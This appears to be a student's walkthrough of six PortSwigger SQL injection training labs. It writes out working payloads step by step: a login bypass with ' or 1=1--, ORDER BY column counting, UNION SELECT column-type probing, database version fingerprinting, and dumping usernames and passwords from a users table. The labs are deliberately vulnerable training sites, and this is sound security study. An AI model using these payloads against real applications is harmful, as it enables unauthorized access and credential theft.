SQL Injection Lab 1
Login to Portswigger account or create a new one.
Click on view all SQL labs.
Here solve one by one labs
Click on 1st lab and a fake ecommerce website will launch
Click on My Account -> Login page will appear here try to enter administrator and
password hello
You won’t be able to log in but when you alter the Username as administrator’ or 1=1--
and keep the password same and click on login you will get logged in
[Link]
SQL Injection Lab 2
Next vulnerability in where clause allowing retrieval of hidden data
In the URL at the end of the category = ' or 1=1--
This will show the products which were not shown earlier.
SQL Injection Lab 3
Next UNION attack determining the number of columns returned by the query
In the URL at the end of the Gifts’ ORDER BY 1--
Similarly do it for 2 and 3 you will get to know which columns are associated which with
index
SQL Injection Lab 4
Next UNION attack, finding a column containing text
In the URL at the end of category=Gifts’ ORDER BY 1=1--
Then on the same URL at the end of category=Gifts’ UNION SELECT ‘a’, NULL, NULL—
If nothing shows means first column is NULL then change the place of a such as
at the end of category=Gifts’ UNION SELECT NULL, ‘a’, NULL--
after entering this if you see ‘a’ row is added at the bottom on the webpage means 2nd
column is of String
similarly now add a again at the end to check the 3rd column such as
at the end of category=Gifts’ UNION SELECT NULL, ‘a’, ‘a’--
if nothing shows on webpage then even 3rd column is NULL
SQL Injection Lab 5
Next UNION attack, retrieving data from other tables
At the end of category=Gifts’ order by 1--
You will notice the order by will be implemented for the paragraphs heading and it will
be sorted
Similarly do for 2 such as
At the end of category=Gifts’ order by 2--
You will notice the order by will be implemented for the paragraph and you will notice
the first alphabet will be sorted of every paragraphs
Now that we know there are 2 columns we have to determine the data type of the
columns
At the end of category=Gifts’ UNION select ‘a’, NULL--
You will notice ‘a’ will be inserted at the start of the paragraph
Similarly add more ‘a’ such as
At the end of category=Gifts’ UNION select ‘a’, ‘a’--
You will notice one more a will be inserted below the previous ‘a’
This shows that both the columns are of data type string
Now that we know the data type of the columns lets retrieve the username and
password from the website which is the goal such as
At the end of category=Gifts’ UNION select username, password from users—
You will see the username and passwords will be generated and will be visible above the
paragraphs
SQL Injection Lab 6
Next UNION attack, retrieving multiple values in a single column
Go to lifestyle and repeat the above steps to check how many columns are available
and what is the data type of the columns
At the end of category=Lifestyle’ order by 1--
Similarly increment till you get internal server error
At the end of category=Lifestyle’ UNION select NULL, ‘a’—
Now that we know that 2nd column accepts string type
Now before retrieving the data we must know which database the website using in order
to check that type the following
At the end of category=Lifestyle’ UNION select NULL, @@version— (This is for
Microsoft)
If we get an error so it’s not the actual database
Now check for PostgreSQL
At the end of category=Lifestyle’ UNION select NULL, version()—
You will see the PostgreSQL version will be shown on the website itself
Now that we know the database we using the string concatenation of this particular
database such as
At the end of category=Lifestyle’ UNION select NULL, username || password from
users—
Now you will get a single line which consists both username and password in order to
differentiate between them we will add a separator in the query itself such as
At the end of category=Lifestyle’ UNION select NULL, username || ‘*’ || password from
users—